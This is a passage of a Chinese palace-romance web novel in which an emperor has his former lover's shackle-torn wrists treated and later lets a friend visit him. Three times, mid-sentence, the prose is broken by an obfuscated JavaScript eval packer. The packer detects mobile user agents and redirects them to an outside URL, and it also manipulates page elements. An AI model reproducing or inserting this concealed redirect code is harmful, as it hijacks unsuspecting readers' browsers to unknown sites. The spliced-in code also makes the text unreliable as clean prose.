苏景同终于从回忆中回神,他这才捕捉到从前的细节,皇家多爱刺绣,难怪顾朔和他在一起的时候没穿过带刺绣的衣物——他靠着不方便。现在今非昔比时过境迁,顾朔自然随心穿着。 苏景同将脸慢慢转了回来,手腕上的伤口又在此刻造反,苏景同心脏搅起来似的疼。 4. 治伤 他一天没吃没喝,早眼花了,顾朔也不肯给他解开眼罩,照旧什么都看不到,他感觉到顾朔从床帏中伸出手:“钥匙!” 很快自己就被顾朔的大手翻了个身,顾朔在解镣铐,镣铐小且厚重,他又自虐似的来回摩擦,镣铐有部分卡在他肉里,鲜血淋漓。 他感觉到顾朔的手停住,似乎有目光在他手腕上寻睃,他看不到自己的身后,不清楚手腕成了什么样子,总之应该不太好解开——因为他感觉顾朔的手先去解他脚上的镣铐了。 脚上的镣铐解开的同时,苏景同不自觉动了动腿,他腿是真麻了,完全没有知觉,今天叫镇西侯这没轻没重的玩意儿绑一天,腿差点废了。 有宫人从床帏外递了点东西进来。东西比较长,末端不小心落在苏景同腿上,质地柔软,是素绫的贴肤感。 宫里爱用素绫做亵衣。 这必是给他的。 好心人啊! 苏景同挣扎着想用被捆着的手去接,镣铐被带的动起来,在他手腕上摩擦,结果被顾朔拍了一下后背,“别动。”顾朔道。 他的声音一如既往的低沉,苏景同抽抽鼻子,老实了。 他感觉顾朔的手动了,大约是在接衣服,又听到他吩咐传太医,传膳,还叫潘启在屋里多点两盏等,然后去外头等着。 没一会儿,他感觉顾朔在替他穿衣物。顾朔没动上衣——他手还绑在身后,不方便穿,只能先用被子裹着。 等潘启的脚步声消失,门轻轻合上,屋里只剩他和顾朔。苏景同听到扯开床帏的声音,思忖着顾朔大抵是要解开他手上的镣铐了,所以拉开床帏叫灯光大肆进来床边。 苏景同盼着他能给自己解开眼罩,被剥夺视线一天了,眼前黑乎乎的,他想看看自己的手到底怎么了,顾朔怎么如临大敌的样子。 当然,最重要的是看看顾朔,他还没见过顾朔穿龙袍的样子。 周文帝穿龙袍他倒是见过,但周文帝数十年来忙着扮演酒囊饭袋,整日花天酒地纵情声色,身体早早被掏空,又胖又臃肿,穿龙袍也不好看。 顾朔不一样,他习武,身材高大,肩膀平阔,腰腹精瘦,腿修长笔直。 苏景同心猿意马地回想起来,他有一回听到军营里的老油条们闲聊,说六殿下是军营里腿最长的人,有些矮子还没六殿下的腿高。 苏景同将信将疑,顾朔个头高,军队的衣服多数紧身收腰,别是衣服效果吧。后来仔仔细细观察了许久,顾朔的腿是不合常理的长,差不多高的人粘在一起,他腿比别人长一大截。 不知穿上龙袍是什么样子。 苏景同感觉顾朔从前面给他挂了个披风,反着穿披风,于是后背的手腕被留出来,继而顾朔将他提起来。军营出身的顾朔提他和提一只小鸡崽般容易,轻飘飘拎到了桌子旁。 床边大约光线不好,拉开床帏也黑乎乎的,不方便摘手铐。 他感觉顾朔一直在盯着他的手腕看,仔仔细细看了好多遍。 假使他眼罩摘掉,他会看到他的手腕多么吓人,血淋淋一片,镣铐有部分嵌在肉里,因他来回磨,镣铐上沾着点细碎的血肉,嵌得虽然不深,但他瘦,手腕上只有薄薄一层皮,这一嵌直接挨到了腕骨。灯下甚至能看到森白的骨头。 他感觉顾朔手抖了一下。 唉,苏景同无声无息叹了口气,顾朔可是箭射他胳膊里,能面无表情直接不上麻沸散,直接扯下箭的人,能让他手抖,这得多吓人。 不应该啊…… 不就是磨破手腕以后他又来回磨了磨吗?至于么…… 而且说疼,也不是特别疼吧…… 就是普通磨伤的疼。 苏景同怀疑是不是光线不好,血又到处流,沾得满手都是,所以顾朔看花了眼。 应该没事啊…… 苏景同怀疑地又动了动手腕,有这么可怕吗? “嗷——”苏景同一嗓子嚎出来——顾朔看他又动手腕,在他屁股上打了一巴掌。 “别动!”顾朔道。 苏景同只好老实待着。 没等一会儿,潘启带着太医进门了,皇宫大,又是晚上行动不便,眼瞅着皇帝这边等着,潘启先着人去太医院叫院令来,又想着隔壁长乐宫的康宁侯左正卿已经歇下了,叫人先把长乐宫那边的太医叫了过来应急。若是能看好自然好,若是看不好,看病的光景院令也赶来了。 苏景同听到了三个脚步声,应当来了两个太医。 两个太医眼观鼻鼻观心,谁也不敢抬头看,屋里的情形实在旖旎,帝王坐在桌旁,怀里抱着个蒙着眼睛带着镣铐的男人,怎么都该非礼勿视。 太医们低着头,小碎步上前查看他的手腕,有个年轻的太医,当即倒吸了一口凉气。 苏景同百爪挠心,他手腕到底怎么了?怎么一个个都吓到的样子。不会吧? 顾朔将手搭在他头上,“又动?” 顾朔才警告过他,苏景同不敢动手腕,可好奇得很,“你摘了我眼上的布呗,让我看看嘛。” 声音一出口,苏景同都愣了,他嗓子沙哑得像小老头儿。 “咳咳。”苏景同清了清嗓子,今儿是怎么了,不就一天没喝水,嗓子也罢工了。 太医们恨不能捂上耳朵,跟皇帝“你”啊“我”啊的,要么是不知世事,要么是皇宫新来的祖宗。 顾朔瞥他的手腕,血肉模糊的,有什么好看的,没搭理他。 顾朔问:“治疗手能喝水么?” 太医愣住,什么喝水?继而反应过来,陛下猜测取手铐要上麻药,怕上麻药前不能喝水,连忙道:“能!能!” 潘启忙跑过来,取茶杯倒茶,准备给苏景同喂水。 顾朔自然地将茶杯接过来。 潘启没有迟疑,将汤匙递给顾朔。他和苏景同接触不多,只瞧下巴和听沙哑的声音分辨不出来,可观皇帝的态度,再认不出这是苏景同,他就枉为大太监了。 一点温热的水下肚,苏景同舔舔唇,不喝水的时候不觉得难受,一旦开始喝,渴意就铺天盖地叫嚣起来。 顾朔一汤匙一汤匙喂,一杯喂完,苏景同的渴意反而更加明显。 顾朔没给他喂第二杯,一口气喝大量水,只会更渴,慢慢喝才有效。 太医们观察完毕,苏景同的手腕看着可怖,其实和他猜的没什么两样,磨破皮后摩擦了几次,把肉划伤了,又因为他瘦,腕骨处本来就薄薄一层,所以能看到骨头,镣铐卡的位置也不错,在腕骨两端,避开了经脉,没造成严重后果。 总的来说都是皮肉伤。 麻烦的点在于要把镣铐取下来。镣铐和血肉粘在一起,取镣铐的时候难免带下来些血肉,虽然对身体的影响微乎其微,但是疼。 麻醉效果好的麻沸散,是开胸腹或者开颅骨才用的,等闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908517|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用之,对身体不好。且麻沸散使用前需要禁食禁水。 普通麻药,能减缓疼痛,但效果不算多好。 皇宫里的贵人,都是天潢贵胄,你治疗慢,他未必觉得是你的过错,不一定拿你撒气,但治疗得疼,那就是找死了。 尤其这位和皇帝之间明显有过密关系。 怎么不让贵人疼,是个大问题。 苏景同自小和太医打交道,他爹最轻狂的那些年,全大周最好的名医都在摄政王府,挑剩下的才去皇宫。他听太医半天不出声,便知晓他们在为难,“取吧,没事。” 太医没动,你觉得没事不重要,皇帝觉得不行才要命。 顾朔把手塞进苏景同嘴里,另一只手将苏景同的头压在自己怀里,“取。” 太医骇得魂飞魄散,“陛下不可!”这要是咬伤了皇帝,能揭了他们的皮。 潘启瞧了一眼,没敢劝。 “陛下三思——”太医俯身。 顾朔没理他们,“取。” “呸呸呸,”苏景同把他手吐出来,苏景同拖着他老牛拉风车的嗓音,艰难地发出抗议:“你刚抓过镣铐钥匙衣服杯子勺子,你净手了么?” 太医:…… 潘启:…… 顾朔服气,苏景同煞风景小能手,把他那点不敢宣之于口的心疼打散得一干二净。 潘启召进来两个宫人,一人带着浇过烧酒的帛巾,供苏景同咬,另一人替顾朔净手。 等两人都准备好,太医火速动手,先叫苏景同含了一丸麻药,复用热帕子贴在苏景同手腕上,将凝固的鲜血化开,免得下镣铐时牵扯到。 待麻药起了效果,苏景同咬住帛巾,太医提起镣铐,一把提了下来,一些细碎的血肉被带飞,苏景同疼得一激灵,脖子瞬间伸长,青筋崩出,牙险些将帛巾咬碎,这麻药到底干什么用的?废物吗?! 顾朔的大手一下一下抚摸着他的后背,帮他顺气。 苏景同强撑着把呼痛声压回嗓子中,浑身难以抑制地哆嗦。 顾朔搂紧他,习惯性地亲他额头,“乖,做得很好,很勇……” 亲下去的刹那,两个人都僵住了。 三年前,这是再熟悉不过的动作。 现在,他们中间隔着太多太多东西。 恩怨情仇、家国天下。 无论哪一样,他们都不该如此亲密。 顾朔沉默地停下帮苏景同顺气的手,苏景同不自在地动了动身体,吐出被他咬的坑坑洼洼的帛巾。 气氛沉默尴尬。 忙着治疗的太医没注意到这小小插曲,他们低着头专心致志,只从耳朵里听到那句“表现得很好,很勇敢”,还当两人关系正好,更没注意到苏景同已经将帛巾吐了出来。 解了镣铐,下一步是处理伤口。 苏景同的伤口在空气中暴露了不知多久,镣铐上也不知有多少脏东西,急需好好清理。 太医取出烧酒,手心濡湿,“贵人忍着点。” 苏景同又饿又累,嘴里含着麻药,加上见到顾朔,大脑停止工作,早忘了还需要清理伤口了,一时半会儿没反应过来。 太医以迅雷不及掩耳之势将烧酒倒在他伤口上,苏景同冷不丁被偷袭,痛得天旋地转头要炸开,本能地一口咬在顾朔肩膀上。 顾朔被他咬着的那边肩膀纹丝不动,另一只手又一次将苏景同揽进怀里。 5. 清理 清理伤口的过程持续了许久,他的伤口在空中暴露的时间太长,要认认真真清理。 苏景同全程痛蔫吧,连挣扎呼痛的力气都没有,清理伤口远比取镣铐要疼,他全身心都在对抗疼痛,没时间和心情再考虑他和顾朔那点尴尬。 伤口清理完毕,上药,包纱布。 一套流程走完,苏景同身上的衣物都被汗浸湿了,本就没有血色的脸,因疼痛愈发惨白,像被人虐待过。 他咬顾朔肩膀时间久,下巴僵硬,很艰难地将自己的下颌从顾朔肩膀上离开。 顾朔瞥他,伸手帮他按揉下颌,摸到了湿漉漉的脸,不知是汗水还是泪水。 苏景同还没从疼痛的余韵中缓过来,头靠着顾朔的肩膀,悄无声息地落泪——麻药根本不管用! 顾朔静静地看着他——苏景同身上有强烈的割裂感。 在苏景同投靠西南王,成为反贼前,绝大多数人眼中,苏景同都是摄政王府无忧无虑无法无天肆意妄为的小纨绔,生活奢靡,行事荒诞,热爱享受,好美酒、好美食、好美人、好鲜衣,读书不错,字写得好,琴弹得好,人很漂亮。 都是无害的形容词。 摄政王府如果有谋反之事,他或许不会参与其中。 但从他投靠西南王,闯下大周四大军师之一的名头后,如果把大周的男人按危险程度排名,苏景同可以高居前列。 没人想到这绣花从中长大的纨绔,玩起兵法来如此得心应手,搞起阴谋诡计,亦不逊色。 你和他相处的每一点每一滴,都需要提着小心,你不知道他什么时候会拔掉无害的面罩,将你一脚踩入深渊。 就连西南王本人,表面得到了他的效忠,但直到沦为阶下囚,都不敢确定他真的收服过苏景同。 而现在,他又开始展现他无害的那一面了。 他安安静静地靠在顾朔肩头落泪,没出一点声音,配上他苍白的皮肤,无血色的唇,脆弱的脖颈,我见犹怜。 伤口已经包扎好,顾朔伸手摘掉他的眼罩,并用手挡在他眼前——苏景同戴眼罩的时间长,骤然见到光容易刺眼。 顾朔慢慢分开指缝,让微弱的光帮苏景同适应。 难得见到光,苏景同抬眼,眼睫毛在顾朔手心来回扫,沾着泪水的眼睫毛湿漉漉的,扫得顾朔心里直发痒。 等苏景同适应了光,顾朔收回了手。 苏景同哭得鼻尖通红,顾朔取了帕子帮他擦脸,苏景头甩甩头,难得能睁眼,他略微起身,仰着头看顾朔及他身上的龙袍。 顾朔面容俊朗、身姿挺拔,穿着龙袍龙章凤姿,很是亮眼,和周文帝那丑人天壤之别! 苏景同满意了。 龙袍就该穿顾朔身上。 苏景同视线下移到顾朔肩膀上,那里还残留着他的齿印,苏景同想摸摸,顾朔摁住他胳膊,“别动手腕。” 苏景同用脸蛋蹭了蹭齿印,眨眼:“疼吗?”他眼睛水汽弥漫,雾蒙蒙的,小声说:“对不起……” 顾朔盯着他,苏景同的眼睛很干净,他只能从苏景同的眼底看到真切的关心和愧疚。假使是三年前,他会扣着苏景同的头直接吻上去。 可惜…… 顾朔面无表情地移开目光,潘启送了套新衣裳进来,苏景同又伸手,顾朔打掉他的手,帮他换好衣服。 送膳的宫人到了,鱼贯而入,苏景同饿了一天,又是大晚上,潘启没敢让人上油腻荤腥的,上了些养胃的的清粥小菜。 顾朔不准他动手腕,叫宫人伺候他吃饭。 苏景同被折腾了一天,又累又困,那该死的麻药对减缓疼痛没有效果,催眠效果却是一绝,苏景同没吃几口,头一歪,睡着了。 坐着都能睡着,这是真累了。 顾朔俯身轻手轻脚地护住苏景同的手腕,把苏景同抱起来,安置在床上,替他将头发收拢好,盖好被子。 苏景同比起三年前变了许多,气色不好,脸颊消瘦,下颌更尖,身上没有几两肉,抱起来轻飘飘的。 顾朔怔怔地想:瘦了…… 也不知这三年怎么过的。 顾朔轻轻摸了摸苏景同的头发,摄政王府覆灭,家破人亡,无忧无虑的小纨绔,骤然被推到悬崖下,想来他不好受。 潘启蹑手蹑脚过来,轻声请示:“陛下,您今儿歇哪?” 顾朔捏捏鼻梁,“临华殿。” 潘启愣住,“啊?” 临华殿?那是批奏折的地方啊。 顾朔登基的第一个夜晚,在临华殿看了一宿的折子。 登基后的第一个朝会定在登基大典后的第三天,登基大典要饮酒,为众朝臣留下醒酒时间。 左正卿一觉睡到自然醒。 自从他身体不好以后,他的睡眠就变得很长,等他睁眼,都快日中了。 经过一晚的休息,左正卿又有了精神头,打算换好礼服去见皇帝谢恩,然后出宫回家。 潘启派太监传了皇帝口谕,别折腾了,虚礼免了,今日风大,穿厚实些,叫车马进永乐宫来接人。 左正卿等了一会儿,太监不再继续往下说,左正卿问:“这就是全部旨意?” 一句话把传旨太监都说愣了,苦思冥想是不是自己来的时候漏了什么话:“是。”太监让开身位,皇帝交代了要穿厚实些,潘启着人去尚衣局拿了两套冬季的衣裳,又带了两个手炉来。 左正卿收了东西,等人走尽了,坐在圈椅上问知夏:“潘大总管没往长乐宫送人?” “送人?”知夏迷茫:“送什么人?” 左正卿没继续这个话题,“昨晚我听到殿里有动静,似是潘大总管那边来人了,是什么事?” “哦哦,”这个知夏知道,“说是有主子病了,太医院太远,来不及,长乐宫这边有两个给侯爷准备的太医,叫长乐宫这边的太医先去应急。” 太医院离得远,长乐宫离得近…… 又是潘启差人上门要太医…… 想来是泰安殿那位贺礼病了。 昨天还想着镇西侯拍马屁拍马腿上,皇帝不会留嬖人,今天看来,送的不是一般的嬖人,和皇帝怕是有千丝万缕的联系。 他昨晚自大了,忘了镇西侯处事圆滑周到,怎会轻易拍马腿。 左正卿揉了揉额角:“泰安殿那边昨晚有动静吗?” “陛下昨晚宴席散了以后,在泰安殿待了一个时辰才走。走之后泰安殿便熄灯了,没瞧见有动静。”知夏觑左正卿,快速道:“没传沐浴。” “嗯。”那就是没收用了“贺礼”。 知夏补充:“今天上午倒有好几拨御前太监进去过,提着东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908518|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西,太医院院令进去了还没出来,泰安殿的小厨房一直开着火。对了!” 知夏突然想起来,“兰芝姑姑从昨晚进了泰安殿,再没出来。” 左正卿豁然抬头,被允许近身伺候皇帝的,只有太监总管潘启和掌事姑姑贺兰芝,他们两个等闲不会离开皇帝身边。 能让皇帝把贺兰芝留下的嬖人,要么是失踪已久的姜大军师,要么是…… 苏景同。 左正卿道:“陛下昨晚歇在哪了?” “临华殿的灯亮了一整晚。” 左正卿立马起身,“去临华殿。”临华殿是批折子的地方,姜时修回来,皇帝何至于一晚上睡不着。 临华殿的灯亮了一宿,不过顾朔一本奏折没批,他只是在临华殿枯坐了一宿。左正卿来的时候,顾朔已经坐了一晚加一上午,正准备去休息。 “不是交代了直接回?这几天风大,你乱跑什么。”顾朔不赞成道,“已经晌午了,你先留宫里用膳罢,江天下午回来,叫江天护送你回去。” 左正卿直直在顾朔面前跪下,“陛下。” 顾朔问:“嗯?” “泰安殿里,”左正卿问:“是景同吗?” 顾朔沉默了半晌,别开头:“正卿。” “微臣在。” “朕可以准你去见他,”顾朔道:“但你要小心。他不仅是你的好友苏景同,还是大周四大军师。西南反贼尚未完全肃清,莫着了道。” 左正卿心沉甸甸的,皇帝所言正是他所担心的。 苏景同投靠西南王以后,一改从前纨绔散漫作风,手段卓绝狠辣,智计百出,短短三月就成了西南王最得力的干将,一跃成为西南军二号人物,带领西南军奇袭帝都,谋反成功。 这等手段,比他脸上写满“本王马上就篡位”的亲爹苏季徵要强太多。 他们是多年好友,本该有最深的信任。 可他怎么去信苏景同呢? 苏景同有信任过他吗? 眼下顾朔只是夺回皇位,西南叛军一党仍在四处流窜,或活跃、或潜伏。作为西南叛军的灵魂人物,苏景同以贺礼的身份被送到皇宫,送到顾朔身边,谁又能保证这不是西南王的后招? 又或者西南王只是幌子,摄政王若谋反成功,作为摄政王的独子,苏景同是板上钉钉的太子爷,未来的皇帝,谁能保证苏景同不想当皇帝? “微臣……”左正卿艰涩道:“领旨。” “敢问陛下,”左正卿问:“陛下打算如何处置他呢?” 他和苏景同相交多年,他或许乖张、或许心思深沉,但行得正坐得直,绝非恶人,何况过去诸事,疑点颇多,决不能轻易给他定罪。 如何、处置? 处置…… 这个词比较…… 旖旎。 顾朔不由自主想起他昨晚水汽氤氲的眼睛,发红的眼角,安静的眼泪,凑上来亲吻他肩膀时的小心和歉疚。 很乖。 顾朔手痒,合该好好处置的。 “陛下?”左正卿问。 顾朔一时走神,秃噜道:“先养养。兰芝厨艺好。” “嗯?” 左正卿沉默,这就是顾朔把贺兰芝派到泰安殿的原因么? 说好的要小心提防莫着了道呢? 6. 迁居 左正卿来泰安殿时,苏景同刚好睡醒,穿着亵衣指挥人把摇椅放在庭院中,又打发走宫人,他则懒洋洋地躺在上面,盖着羊绒小毯,优哉游哉地休息。 这场景太过熟悉,左正卿一时间恍惚,险些以为自己回到了三年前。 苏景同还是纨绔子弟时,最爱躺在摇椅上,闲闲地晒太阳,有时还会哼点小曲儿,“春有百花秋有月,夏有凉风冬有雪。若无闲事挂心头,便是人间好时节~” 苏景同听到脚步声,掀起一只眼皮,熟稔道:“哟,正卿来了,坐。” 左正卿缓步上前,苏景同神态自若,仿佛他不曾谋反,他们之间也不曾刀兵相向。 朝臣们总想不通左正卿和苏景同为什么能成为好友。 苏景同的爹是把“我准备谋反篡位”写在脸上的摄政王,左正卿的爹是把忠君爱国刻在骨子里的御史。左御史过往几十年的上朝生涯只干一件事,弹劾摄政王。摄政王在过往几十年的从政中也只干一件事,把左御史的话当屁放了,专注篡位。 左正卿苏景同和他们的爹没什么差别,苏景同是乱臣贼子,亲爹谋反、自己也谋反,且还谋反成功,左正卿则半生奋斗在救国之路上,初心不改,伤重到命悬一线,还在理智冷静地指挥全军。 他们是天然的敌人。 左正卿定定瞧着赖在躺椅上懒散没个正形的苏景同,失笑,他有时候也会想,当年是着了什么魔,顶着他爹的责骂,也要和苏景同做好友。 “你倒自在。”左正卿笑。 苏景同从躺椅旁的石桌上抓了个杯子递给他,“你可算来着了,兰芝姑姑做了桂花茉莉荔枝汤。只此一家,别无分号!” 左正卿在他身旁的石桌处坐下,“懒鬼,起来啦。我看看你现在好不好。” 苏景同半眯着眼,往羊绒小毯里缩了缩,“不想起,我困死了。”苏景同半仰起脸:“看吧看吧。我好着呢。” “没吃苦吧?”左正卿问。摄政王府覆灭时,左正卿在前线打仗,尽管第一时间派人来接苏景同,但来时人去楼空。再找始终未曾找到。后来苏景同又去了西南王处,成了敌人,更无从得知。 苏景同吹了个打着旋的口哨,“没。” 左正卿莞尔,抓着他缩起来的手腕,“你手怎么回事?” 苏景同无所谓:“镇西侯给我戴的手铐紧,磨破了,小事。你出去以后记得帮我打他一顿。你吃饭了吗?兰芝姑姑今儿下厨呢。” “没呢,来找你一起。” 贺兰芝手艺极佳,一桌饭做得飘香四溢,颜色灿烂,两人难得胃口大开。 “你怎么会遇到镇西侯?”左正卿问。 苏景同道:“西南王败了嘛,顾朔登基,你也知道我以前缺德,旧账太多,我就跑了。我从城南跑的,想从桐谷转道去麟州,再出海。镇西侯在桐谷把我抓了,我就来了。老小子死不正经,平时没少看淫词艳曲吧,想得出这种贺礼。” “昨晚你是不是提前离席了?”苏景同边吃边问,“我听着有人出来说了几句话,潘启就将我挪后殿了。” “是我。” 苏景同笑:“我一猜就是你。得亏你在,镇西侯那老不羞,还想把我送大殿上,你都没见我昨晚穿的什么,哪能上殿呢,怪不雅的。” 左正卿心里难受,苏景同一口一句没事没吃苦,他完全不敢想苏景同落到镇西侯手中,是怎么变成昨晚的嬖人打扮的。 是否发生过激烈的冲突。 是否强行逼他换衣服。 苏景同满不在乎:“所以你出去一定要替我踹他一脚,最好踹屁股上,他说不定会像个球一样咕噜咕噜滚出去。” “算了,”苏景同嘀嘀咕咕:“你太文弱,让顾朔踹吧,他力气大。” 左正卿哭笑不得:“他现在是皇帝,怎么可以直呼名讳?” “你来之前他怎么说,要怎么处置我?” 左正卿想起顾朔那句“先养养”,一阵无语,“吃饭吧。” 一顿饭过去,两人默契地谁也没提苏景同为西南王效力的事,只有一搭没一搭闲聊着。左正卿给苏景同留了两张新曲谱,苏景同教了左正卿调天青色的技巧。两人还随口提了苏景同流落到当铺的琴,苏景同想不起来是哪把了,他人来疯,经常一时兴起,做完就忘。 兴许是哪个仆人偷走卖了。 吃完,苏景同兴致勃勃问:“我学了占卜,你想来给我练手吗?” “你行吗?”左正卿怀疑。 苏景同理直气壮:“我可是四大军师之一,军师怎么可以不会卜卦呢?” 左正卿沉默,如果他没记错,大周四大军师里,只有陪顾朔平定西北的军师姜时修会卜卦,“你学了多久?” 苏景同面不改色道:“我学了多久不重要,重要的是我现在可以算。” “哦。”没学几天,左正卿说:“那给我算个姻缘吧。” 苏景同似模似样地闭上眼,摆出“掐指一算”的架势,左正卿看得直乐,架势还挺像,“结果怎么样?” 苏景同摩挲下巴,“可以啊你,闷声干大事。” “苏半仙何出此言呐?”左正卿被他一本正经的算卦逗乐了。 “你喜欢谁?”苏景同问,“算出来你有喜欢的人,男人,就在你附近,喜欢了两年左右,身体不错,习武,年龄比你小一岁,别人眼中他锐利锋芒毕露,但你觉得他活泼可爱。” 苏景同每说一句,左正卿脸上的惊奇就加重一分,等苏景同完全说完,左正卿奇道:“半仙,你真的会算啊!” “嗯哼。”苏景同得意,“说了会算。” “所以是谁?”苏景同问。 左正卿温柔地笑,笑意中带点酸涩:“他不好南风,不提名字了,免得给他造成困扰。” 苏景同拍了拍左正卿的肩,“会好的。”他坚定地说:“一定会好的。” “借你吉言吧。”左正卿苦涩地说。 顾朔只允了左正卿进来见苏景同一个时辰,时间转眼便到,苏景同送左正卿出门,临出门前,苏景同吭哧吭哧道:“我从前……诸多身不由己,稍有不慎粉身碎骨,并非故意瞒你,待你是真心的。” 左正卿转身,摸摸他的头,温柔道:“我知道的,没关系,别歉疚。我知道你心里苦。” 左正卿还记得他刚认识苏景同时的场景,苏景同不过八九岁的年纪,不知为了什么事在难过,外人眼里前呼后拥的摄政王世子,一个人悄悄躲在假山里,用扇子挡在脸上,悄无声息地落泪。 躲着。 挡着。 还要静音。 这不是万千宠爱于一身的小孩会有的习惯。 假如他真的要风得风要雨得雨,假如摄政王真有表现出来的那般爱他,小孩子怎会连哭都要如此克制小心。 反倒是和顾朔在一起的那一年,他才慢慢学会将真实的坏情绪表现在脸上。 可见真情和假意,并不难区分。 “总有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908519|160206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你会把过去告诉我,对吗?”左正卿问。 “会的,”苏景同想了想,“最多一年就能彻底结束。” 左正卿笑:“我等你。需要我帮忙就开口。” “对了,”左正卿想起来,“先帝驾崩前,有提过姜时修在哪么?”周文帝原本派人暗杀顾朔,但暗杀不成功,只把姜时修带走了,姜时修至今下落成谜。 西南王篡位后杀了周文帝,或许苏景同见过周文帝最后一面。 苏景同摇头,“他没提。你们很想找到他?” 左正卿拢了拢狐裘,“毕竟是平定西北的大功臣,生死未卜,不能不让人担心。” “嗯,是该找。”苏景同说。 左正卿临上马车前,说的最后一句话是:“别内疚,放过自己。” “……好。” 苏景同送走左正卿,溜溜达达去躺椅上睡觉。 下午,顾朔下密旨,要他迁居永安宫。 弹琴、画画、写字、下棋、骑马都要用手腕,一概禁了,唯独剩看书一项——翻书也要动手腕,顾朔安排识字的宫女念给他听。 潘启亲自来宣的,宣完笑着和苏景同解释,泰安殿是办重大典礼的宫殿,长居泰安殿不合适,何况泰安殿后殿阳光少,不利于养伤。永安宫宽敞舒服,阳光好,离皇帝起居的广明宫最近。 苏景同笑笑没说话。 枯坐一晚的顾朔,下午没能补觉,忙得人仰马翻,新帝登基,百废俱兴,政治、经济、军事、民生样样要抓,连年战争的后遗症要挨个去补,西北、东北、西南都需要重新管理,西南王伏诛,但西南乱党要么关押待审、要么流窜在外,也需要安排。 虽然明日才开朝会,但今天已有许多事要办。 顾朔从烈日正浓忙到夜半三更,全皇宫一片黑暗,临到广明宫前,拐道进了永安宫。 永安宫正殿已经熄灯,只留两个守夜的小宫女在外间候着,两个守夜的小太监在里屋守着。贺兰芝和太医院院令还醒着,连忙起身接驾。 值夜的宫女太监们要点灯备茶备宵夜备沐浴休憩事务,顾朔摆手,叫他们停了,不过略进来坐坐,何必兴师动众,都熄了灯,动作轻些。 他径自进了东偏殿,先看贺兰芝,“今儿怎么样?” “公子午时醒的,院令给换了药,饮了半盏桂花茉莉荔枝汤,康宁侯午间来坐了一个时辰,说了会子话,“公子午膳用了一块杏仁佛手、一块雪山梅、两筷子龙井竹荪、一勺鸡丝银耳、两筷子鲜蘑菜心、两勺红豆膳粥。” 顾朔的眉头微皱,宫里的杏仁佛手和雪山梅只有指甲盖大,两筷子、一勺子,他一中午吃的还没小猫多,难怪瘦了这许多。 “下午公子在庭院中晒了半个时辰太阳,搬来永安宫后,听了两个时辰的书。晚上用了两颗蜜饯金枣、一块翠玉豆糕,两口荷叶饭。现已睡下了。” 顾朔问:“心情呢?” 贺兰芝谨慎道:“瞧不出好还是不好,康宁侯来时,是高兴的。” “不用早膳伤脾胃,明儿辰时叫他起来用点早膳再睡。白日莫叫他睡太多,在院中散散。”顾朔又看太医院院令:“伤口如何?” “回陛下,公子伤口清理得干净,恢复得很好,只消继续换药,待自然修复即可。” 顾朔淡淡道:“他容易起烧,院令还是多留心吧。明儿给他瞧瞧脾胃。” “是,微臣遵旨。” 顾朔提了盏灯,叫众人止步,自己进了正殿。 7. 争执 苏景同睡觉不喜欢太暗的环境,外间点了一盏灯,开着里屋的门缝儿,好叫光能进来。 顾朔将灯放在外间,轻手轻脚地进去看他。 借着月光,顾朔模糊瞧见苏景同半蜷缩地躺在床上,他气色不大好,平日全靠一双流光四溢的双眸撑着神采,如今双眸合上,便隐隐显出些病态来。 苏景同夜里常起烧,顾朔用手背去摸苏景同的额头,温度正常,没起烧。 顾朔正要收回手,一只手腕裹着纱布的手抓住了他的胳膊,顾朔低头,苏景同睁开了眼睛,眼底清明,毫无睡意。 “没睡?”顾朔问。 苏景同坐起来,随意将发丝拢在脑后,用发簪簪住,“白天睡多了。”苏景同伸手去探顾朔的右肩,“你肩膀怎么样,还好吗?” 顾朔右边的肩膀微微后移,避开苏景同的手。 苏景同的手不闪不避,直接抓到他左肩膀。 顾朔侧头,沉默了。 苏景同嘿嘿笑,“就知道你要躲,我咬的你左肩呀。” 苏景同咬得并不重,还有龙袍挡着,顾朔肩颈肌肉紧实,除了刚被苏景同咬的时候,有轻微的痛感,不等苏景同换完药,就没感觉了。顾朔枯坐一晚又连轴转一天,早忘了自己被咬的肩膀在哪边。 苏景同的手朝右肩来,他下意识躲右肩。 “你让我看看。”苏景同从枕头下拿出一盒伤药,白天专门找院令要的。 顾朔看向苏景同的眼底,只能瞧见愧疚和心疼。 “我没别的意思,就……”触及到顾朔不辨喜怒的神情,苏景同理亏,说话的声音小了下去:“就想给你换个药……” “对不住,”苏景同垂着头道:“我昨晚太疼了,忘了帕子……” 顾朔逆光站在月色中,一声不吭,只目光沉沉地看着他。 苏景同等了一会儿,没等到顾朔的回答,“你要不想我给你上药,你自己上点?就在我这儿上吧,你心里不觉得这是什么事,出了我这门,你再不会上药的。” “……” “你有在听我说话吗?”苏景同问。 